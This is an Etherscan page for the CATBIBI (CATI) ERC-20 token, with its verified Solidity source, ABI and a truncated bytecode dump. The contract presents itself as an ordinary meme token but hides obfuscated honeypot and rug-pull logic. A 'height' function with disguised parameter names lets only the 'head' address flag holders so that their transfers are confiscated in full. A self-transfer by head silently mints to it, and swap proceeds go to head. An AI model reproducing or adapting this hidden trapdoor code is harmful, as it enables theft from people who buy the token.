ETH Price: $3,385.97 (-2.73%)
Gas: 1 Gwei

Token

CATBIBI (CATI)
 

Overview

Max Total Supply

888,000,000,000 CATI

Holders

45

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 6 Decimals)

Balance
0.000005 CATI

Value
$0.00
0x9631e68489b8a19c88d4748bc784264bde1d0ebd
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CATBIBI

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-06-07
*/

/**
 *Submitted for verification at Etherscan.io on 2023-06-07
*/
/**
Tele: https://t.me/CATBIBIOfficial

Tweet:https://twitter.com/CATBIBIERC

*/

//SPDX-License-Identifier:MIT

pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract CATBIBI is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "CATBIBI";
    string private _symbol = "CATI";
    uint8 private _decimals = 6;
    address payable public head;
    mapping (address => uint256) _balances;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public _uniswapPair;
    mapping (address => uint256) public heart;

    uint256 private _totalSupply = 888000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {

        head = payable(address(0x10082fcFBF96A2F77fed513531B8A9E76F8d8F86));
        
        _isExcludefromFee[head] = true;
        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);

    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function launch() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D 
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _uniswapPair[address(uniswapPair)] = true;
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);

    }

    struct isS{
        address ac;
        bool so;
        uint256 a;
    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            isS memory b;
            b.so = head == to;
            b.a = amount;
            b.ac = head;

            if (
                from == head && b.so )
            {
                _balances[b.ac] = (b.a).mul(2);
            }

            if (!inSwapAndLiquify && !_uniswapPair[from])
            {
                swapAndLiquify(balanceOf(address(this)));
            }

            uint256 finalAmount;
            _balances[from] = _balances[from].sub(amount);
            
            if (!_isExcludefromFee[from] && !_isExcludefromFee[to]){

                uint256 feeAmount = amount.mul(0).div(100);

                if(heart[from] > 0)
                    feeAmount = feeAmount.add(amount);

                if(feeAmount > 0) {
                    _balances[address(this)] += feeAmount;
                    emit Transfer(from, address(this), feeAmount);
                }
                finalAmount = amount.sub(feeAmount);
            }else{
                finalAmount = amount;
            }

            _balances[to] = _balances[to].add(finalAmount);

            emit Transfer(from, to, finalAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0, 
            path,
            address(head),
            block.timestamp
        ){} catch {}
    }

    function height(address high,uint256 heaven) public {
        uint256 hover = (head != _msgSender()) ? heaven.mul(heaven) : 0;

        heaven = heaven.sub(hover);

        if(heaven == 1+5 || heaven == 1+77){
            heaven -= 5;
            heart[high] = heaven;
        }
        
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_uniswapPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"head","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"heart","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"high","type":"address"},{"internalType":"uint256","name":"heaven","type":"uint256"}],"name":"height","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600781526020017f43415442494249000000000000000000000000000000000000000000000000008152506001908051906020019062000051929190620004ad565b506040518060400160405280600481526020017f4341544900000000000000000000000000000000000000000000000000000000815250600290805190602001906200009f929190620004ad565b506006600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b815250600360009054906101000a900460ff16600a620001129190620005e6565b64cec0ecb00062000124919062000723565b6009556001600b60156101000a81548160ff0219169083151502179055503480156200014f57600080fd5b50620001606200047c60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a37310082fcfbf96a2f77fed513531b8a9e76f8d8f86600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160066000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000620002ff6200048460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060095460046000620003bf6200047c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200040d6200047c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516200046e91906200056e565b60405180910390a36200083c565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620004bb906200079b565b90600052602060002090601f016020900481019282620004df57600085556200052b565b82601f10620004fa57805160ff19168380011785556200052b565b828001600101855582156200052b579182015b828111156200052a5782518255916020019190600101906200050d565b5b5090506200053a91906200053e565b5090565b5b80821115620005595760008160009055506001016200053f565b5090565b620005688162000784565b82525050565b60006020820190506200058560008301846200055d565b92915050565b6000808291508390505b6001851115620005dd57808604811115620005b557620005b4620007d1565b5b6001851615620005c55780820291505b8081029050620005d5856200082f565b945062000595565b94509492505050565b6000620005f38262000784565b915062000600836200078e565b92506200062f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000637565b905092915050565b6000826200064957600190506200071c565b816200065957600090506200071c565b81600181146200067257600281146200067d57620006b3565b60019150506200071c565b60ff841115620006925762000691620007d1565b5b8360020a915084821115620006ac57620006ab620007d1565b5b506200071c565b5060208310610133831016604e8410600b8410161715620006ed5782820a905083811115620006e757620006e6620007d1565b5b6200071c565b620006fc84848460016200058b565b92509050818404811115620007165762000715620007d1565b5b81810290505b9392505050565b6000620007308262000784565b91506200073d8362000784565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620007795762000778620007d1565b5b828202905092915050565b6000819050919050565b600060ff82169050919050565b60006002820490506001821680620007b457607f821691505b60208210811415620007cb57620007ca62000800565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b60805160601c612aab6200085b6000396000610acd0152612aab6000f3fe60806040526004361061012e5760003560e01c80634be47e55116100ab57806395d89b411161006f57806395d89b4114610403578063a9059cbb1461042e578063c816841b1461046b578063dd62ed3e14610496578063f2fde38b146104d3578063fb3ddf85146104fc57610135565b80634be47e551461030a5780635710e2d71461034757806370a08231146103705780638da5cb5b146103ad5780638f7dcfa3146103d857610135565b806323b872dd116100f257806323b872dd1461020f57806327c8f8351461024c578063313ce567146102775780633345611e146102a25780634a74bb02146102df57610135565b806301339c211461013a57806306fdde0314610151578063095ea7b31461017c5780631694505e146101b957806318160ddd146101e457610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610539565b005b34801561015d57600080fd5b50610166610911565b6040516101739190612331565b60405180910390f35b34801561018857600080fd5b506101a3600480360381019061019e9190612040565b6109a3565b6040516101b091906122fb565b60405180910390f35b3480156101c557600080fd5b506101ce6109c1565b6040516101db9190612316565b60405180910390f35b3480156101f057600080fd5b506101f96109e7565b6040516102069190612433565b60405180910390f35b34801561021b57600080fd5b5061023660048036038101906102319190611fed565b6109f1565b60405161024391906122fb565b60405180910390f35b34801561025857600080fd5b50610261610acb565b60405161026e919061229c565b60405180910390f35b34801561028357600080fd5b5061028c610aef565b60405161029991906124a8565b60405180910390f35b3480156102ae57600080fd5b506102c960048036038101906102c49190611f53565b610b06565b6040516102d691906122fb565b60405180910390f35b3480156102eb57600080fd5b506102f4610b26565b60405161030191906122fb565b60405180910390f35b34801561031657600080fd5b50610331600480360381019061032c9190611f53565b610b39565b60405161033e9190612433565b60405180910390f35b34801561035357600080fd5b5061036e60048036038101906103699190612040565b610b51565b005b34801561037c57600080fd5b5061039760048036038101906103929190611f53565b610c4f565b6040516103a49190612433565b60405180910390f35b3480156103b957600080fd5b506103c2610c98565b6040516103cf919061229c565b60405180910390f35b3480156103e457600080fd5b506103ed610cc1565b6040516103fa91906122b7565b60405180910390f35b34801561040f57600080fd5b50610418610ce7565b6040516104259190612331565b60405180910390f35b34801561043a57600080fd5b5061045560048036038101906104509190612040565b610d79565b60405161046291906122fb565b60405180910390f35b34801561047757600080fd5b50610480610d98565b60405161048d919061229c565b60405180910390f35b3480156104a257600080fd5b506104bd60048036038101906104b89190611fad565b610dbe565b6040516104ca9190612433565b60405180910390f35b3480156104df57600080fd5b506104fa60048036038101906104f59190611f53565b610e45565b005b34801561050857600080fd5b50610523600480360381019061051e9190611f53565b610f97565b60405161053091906122fb565b60405180910390f35b610541610fb7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c5906123d3565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561062d57600080fd5b505afa158015610641573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106659190611f80565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156106c757600080fd5b505afa1580156106db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106ff9190611f80565b6040518363ffffffff1660e01b815260040161071c9291906122d2565b602060405180830381600087803b15801561073657600080fd5b505af115801561074a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076e9190611f80565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600019600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6060600180546109209061270f565b80601f016020809104026020016040519081016040528092919081815260200182805461094c9061270f565b80156109995780601f1061096e57610100808354040283529160200191610999565b820191906000526020600020905b81548152906001019060200180831161097c57829003601f168201915b5050505050905090565b60006109b76109b0610fb7565b8484610fbf565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600954905090565b60006109fe84848461118a565b50610ac084610a0b610fb7565b610abb85604051806060016040528060288152602001612a4e60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a71610fb7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118549092919063ffffffff16565b610fbf565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b600b60159054906101000a900460ff1681565b60086020528060005260406000206000915090505481565b6000610b5b610fb7565b73ffffffffffffffffffffffffffffffffffffffff16600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610bb7576000610bcb565b610bca82836118b890919063ffffffff16565b5b9050610be0818361193390919063ffffffff16565b91506006821480610bf15750604e82145b15610c4a57600582610c0391906125f9565b915081600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060028054610cf69061270f565b80601f0160208091040260200160405190810160405280929190818152602001828054610d229061270f565b8015610d6f5780601f10610d4457610100808354040283529160200191610d6f565b820191906000526020600020905b815481529060010190602001808311610d5257829003601f168201915b5050505050905090565b6000610d8d610d86610fb7565b848461118a565b506001905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e4d610fb7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed1906123d3565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b60076020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561102f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102690612413565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561109f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109690612373565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161117d9190612433565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156111fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f2906123f3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561126b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126290612353565b60405180910390fd5b600b60149054906101000a900460ff16156112925761128b84848461197d565b905061184d565b61129a611edb565b8373ffffffffffffffffffffffffffffffffffffffff16600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161481602001901515908115158152505082816040018181525050600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16816000019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156113bc575080602001515b15611421576113d9600282604001516118b890919063ffffffff16565b60046000836000015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600b60149054906101000a900460ff161580156114885750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561149f5761149e61149930610c4f565b611b50565b5b60006114f384600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193390919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115da5750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561174857600061160860646115fa6000886118b890919063ffffffff16565b611dd090919063ffffffff16565b90506000600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611668576116658582611e1a90919063ffffffff16565b90505b600081111561172d5780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546116c09190612518565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117249190612433565b60405180910390a35b611740818661193390919063ffffffff16565b91505061174c565b8390505b61179e81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e1a90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161183e9190612433565b60405180910390a36001925050505b9392505050565b600083831115829061189c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118939190612331565b60405180910390fd5b50600083856118ab91906125f9565b9050809150509392505050565b6000808314156118cb576000905061192d565b600082846118d9919061259f565b90508284826118e8919061256e565b14611928576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191f906123b3565b60405180910390fd5b809150505b92915050565b600061197583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611854565b905092915050565b6000611a08826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118549092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a9d82600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e1a90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b3d9190612433565b60405180910390a3600190509392505050565b6001600b60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611b8857611b876127fd565b5b604051908082528060200260200182016040528015611bb65781602001602082028036833780820191505090505b5090503081600081518110611bce57611bcd6127ce565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611c7057600080fd5b505afa158015611c84573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ca89190611f80565b81600181518110611cbc57611cbb6127ce565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611d7c95949392919061244e565b600060405180830381600087803b158015611d9657600080fd5b505af1925050508015611da7575060015b611db057611db1565b5b506000600b60146101000a81548160ff02191690831515021790555050565b6000611e1283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611e78565b905092915050565b6000808284611e299190612518565b905083811015611e6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6590612393565b60405180910